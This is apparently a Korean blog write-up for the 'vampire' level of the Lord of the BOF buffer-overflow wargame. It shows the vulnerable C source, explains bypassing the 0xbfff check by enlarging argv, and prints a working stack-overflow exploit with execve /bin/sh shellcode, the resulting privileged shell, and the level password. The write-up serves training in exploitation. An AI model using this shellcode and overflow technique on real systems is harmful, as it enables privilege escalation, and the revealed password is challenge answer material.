본문 바로가기

워게임/lord of bof

level 8 -> 9



[troll@localhost test]$ cat ../vampire.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

} 

argc 제한을 풀어둔거에 뭔가 의미가 있다 생각하고..


argv 중점으로 문제를 풀다보니 희안한걸 발견했네요


argv 영역이 스택 상위에 있다보니까 여기 영역이 커지면 그만큼 필요한 스택을 더 할당을 시켜주네요..


이 과정에서 버퍼 영역이 주소가 낮아지면서 \xff 부분을 우회할 수 있는 것 같아요.



보시면 실제로 버퍼영역의주소가 낮아진 것을 볼 수 있습니다


이제 그걸 이용해서 익스해주시면 될 것 같아요!


[troll@localhost troll]$ ./vampire `perl -e 'print "\x90"x20, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\xd0\x75\xfe\xbf"'` `perl -e 'print "B"x100000'`

????????????????????1픐h//shh/bin??S??

                                        것€?

bash$ id

uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)

bash$ my-pass

euid = 509

music world

bash$




'워게임 > lord of bof' 카테고리의 다른 글

level 10 -> 11  (0) 2015.10.23
level 9 -> 10  (0) 2015.10.23
level 7 -> 8  (0) 2015.10.23
level 6 -> 7  (0) 2015.10.23
level 5 -> 6  (0) 2015.10.23